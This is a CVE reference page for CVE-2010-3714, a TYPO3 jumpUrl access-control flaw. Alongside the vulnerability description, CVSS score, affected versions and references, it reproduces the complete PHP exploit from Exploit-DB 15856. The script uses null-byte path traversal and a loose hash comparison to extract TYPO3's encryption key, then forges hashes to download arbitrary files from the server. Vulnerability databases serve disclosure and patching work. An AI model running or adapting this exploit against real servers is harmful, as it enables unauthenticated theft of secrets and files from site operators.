CVE-2010-3714 : Detail

CVE-2010-3714

A01-Broken Access Control
8.96%V3
Network
2010-10-25
17h00 +00:00
2012-06-01
07h00 +00:00
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CVE Descriptions

The jumpUrl (aka access tracking) implementation in tslib/class.tslib_fe.php in TYPO3 4.2.x before 4.2.15, 4.3.x before 4.3.7, and 4.4.x before 4.4.4 does not properly compare certain hash values during access-control decisions, which allows remote attackers to read arbitrary files via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.1 AV:N/AC:M/Au:N/C:C/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 15856

Publication date : 2010-12-28 23h00 +00:00
Author : ikki
EDB Verified : No

<?php /* TYPO3-SA-2010-022.php * Exploit Title: TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, TYPO3-SA-2010-022) * Date: 29/12/2010 * Author: ikki * Software Link: http://typo3.org/download/, http://sourceforge.net/projects/typo3/files/ * Version: 4.2.15, 4.3.7 or 4.4.4 * Tested on: php * CVE : CVE-2010-3714 (non-typesafe comparison flaw), n/a (fileDenyPattern bypass) * A demonstration video for this vulnerability is also available here: http://www.ikkisoft.com/stuff/TYPO3-SA-2010-020_video.htm * * @_ikki * * TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, plus TYPO3-SA-2010-022) * * Exploiting a non-typesafe comparison flaw, a remote aggressor can access arbitrary files * on a vulnerable system. Authentication is not required to exploit this vulnerability. * Moreover, a "fileDenyPattern" bypass has been implemented in order to speed up the attack. * * References: * - http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020/ * - http://bugs.typo3.org/view.php?id=15898 * - http://php.net/manual/en/language.operators.comparison.php * - http://blog.nibblesec.org/2010/12/unspecified-vulnerabilities.html ("least disclosure" rant) * * Fix: Update to the TYPO3 versions 4.2.16, 4.3.9, 4.4.5 or newer * Credits: Gregor Kopf for finding the neat non-typesafe comparison flaw, Michał Trojnara for his daily tips */ define("VERSION","0.2"); /* v0.2 * - HTTP and HTTPS support (without verifying the peer's certificate) * - File retrieval, just after the initial encryption key disclosure * - Proxy support * - (Dirty) multi requests support (using curl multi_requests) * - Preliminary checks */ define("DEBUG",FALSE); if(!defined("STDIN")) define("STDIN", fopen('php://stdin','r')); if(!defined("STDERR")) define("STDERR", fopen('php://stderr','r')); /* Turn on/off all error reporting */ DEBUG ? error_reporting(E_ALL) : error_reporting(0); set_time_limit(0); /* Main */ echo("\n\n :: [ TYPO3-SA-2010-022.php v".VERSION." ] :: \n\n"); if($argc=="3"){ $typo=$argv[1]; $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack }else if($argc=="4"){ $typo=$argv[1]; $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack $proxy=$argv[3]; }else{ echo "Usage: php ".$argv[0]." TYPO3ValidURL ParallelRequests (Proxy)\n\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." http://127.0.0.1/index.php?id=2 9\n"; echo "php ".$argv[0]." https://127.0.0.1/index.php?id=15 9\n"; echo "php ".$argv[0]." http://127.0.0.1:8080/index.php?id=223 12\n"; echo "php ".$argv[0]." http://127.0.0.1/index.php?id=223 12 http://127.0.0.1:8181\n\n"; exit; } $url=substr($typo,0,strpos($typo,"id=")-1); $id=substr($typo,strpos($typo,"id=")+3); $locationData=$id.":"; $jumpurl="typo3conf/ext/../localconf.php%00"; //Null byte and directory move up trick the fileDenyPattern mechanism $juHash="0"; // "0" is a numeric string, converted internally to 0 (int) by PHP during comparisons /* STEP 1 - Check the remote TYPO3 installation */ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash); $output=curl_exec($ch); if(stristr($output,"did not match")) { echo("[*] TYPO3 successfully detected!\n"); }else{ echo("[!] A problem occurred while detecting the remote TYPO3 installation\n"); exit; } curl_close ($ch); /* STEP 2 - Retrieve $TYPO3_CONF_VARS['SYS']['encryptionKey'] from /typo3conf/localconf.php */ $mh = curl_multi_init(); $handles = array(); $location = $locationData; //locationData with padding for($i=0;$i<$reqs;$i++){ $ch = curl_init(); //create a new single curl handle curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } $location = "%20".$location; curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash); curl_multi_add_handle($mh,$ch); $handles[] = $ch; // put the handles in an array to loop } echo("[*] Starting TYPO3's encryption key retrieval\n"); echo("[*] Padding locationData to force '0exxxxxx' strings. It may take a while."); $rcont=0; while(!stristr($output,"TYPO3_CONF_VARS['SYS']['encryptionKey']")){ $running=null; do{ curl_multi_exec($mh,$running); } while ($running > 0); for($i=0;$i<count($handles);$i++){ $output = curl_multi_getcontent($handles[$i]); $location="%20".$location; curl_multi_remove_handle($mh,$handles[$i]); curl_setopt($handles[$i], CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash); curl_multi_add_handle($mh,$handles[$i]); $rcont++; echo("."); } } curl_multi_remove_handle($mh,$handles[$i]); curl_multi_close($mh); $key=substr($output,strpos($output,"TYPO3_CONF_VARS['SYS']['encryptionKey'] = '")+43); $key=substr($key,0,strpos($key,"';")); echo("\n[*] Done! ".$rcont." requests\n"); echo("\n[*] TYPO3's encryption key:".$key."\n"); /* STEP 3 - Retrieve arbitrary files */ while(!0) { echo("\n[*] Which file do you want to download?\n"); echo("[*] Please make your selection (e.g. '/etc/passwd'):\n\n"); $jumpurl=trim(fgets(STDIN,256)); /* Generate a valid hash as in the TYPO3 codebase*/ $hArr= array($jumpurl,$locationData,$key); $juHash=substr(md5(serialize($hArr)),0,10);; $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE); curl_setopt($ch, CURLOPT_POST, 1); if(isset($proxy)){ curl_setopt($ch, CURLOPT_PROXY, $proxy); } curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash); $output=curl_exec($ch); echo("\n[*]------------------------------------------------------------------------------\n\n"); if(!stristr($output,"not a valid")) echo $output; else echo("[!] An error occurred while retriving '".$jumpurl."'\n"); echo("\n\n[*]------------------------------------------------------------------------------\n"); curl_close ($ch); }

Products Mentioned

Configuraton 0

Typo3>>Typo3 >> Version 4.2.0

Typo3>>Typo3 >> Version 4.2.1

Typo3>>Typo3 >> Version 4.2.2

Typo3>>Typo3 >> Version 4.2.3

Typo3>>Typo3 >> Version 4.2.4

Typo3>>Typo3 >> Version 4.2.5

Typo3>>Typo3 >> Version 4.2.6

Typo3>>Typo3 >> Version 4.2.7

Typo3>>Typo3 >> Version 4.2.8

Typo3>>Typo3 >> Version 4.2.9

Typo3>>Typo3 >> Version 4.2.10

Typo3>>Typo3 >> Version 4.2.11

Typo3>>Typo3 >> Version 4.2.12

Typo3>>Typo3 >> Version 4.2.13

Typo3>>Typo3 >> Version 4.2.14

Typo3>>Typo3 >> Version 4.3.0

Typo3>>Typo3 >> Version 4.3.1

Typo3>>Typo3 >> Version 4.3.2

Typo3>>Typo3 >> Version 4.3.3

Typo3>>Typo3 >> Version 4.3.4

Typo3>>Typo3 >> Version 4.3.5

Typo3>>Typo3 >> Version 4.3.6

Typo3>>Typo3 >> Version 4.4

Typo3>>Typo3 >> Version 4.4.1

Typo3>>Typo3 >> Version 4.4.2

Typo3>>Typo3 >> Version 4.4.3

References

http://www.securityfocus.com/bid/43786
Tags : vdb-entry, x_refsource_BID
http://www.exploit-db.com/exploits/15856
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.debian.org/security/2010/dsa-2121
Tags : vendor-advisory, x_refsource_DEBIAN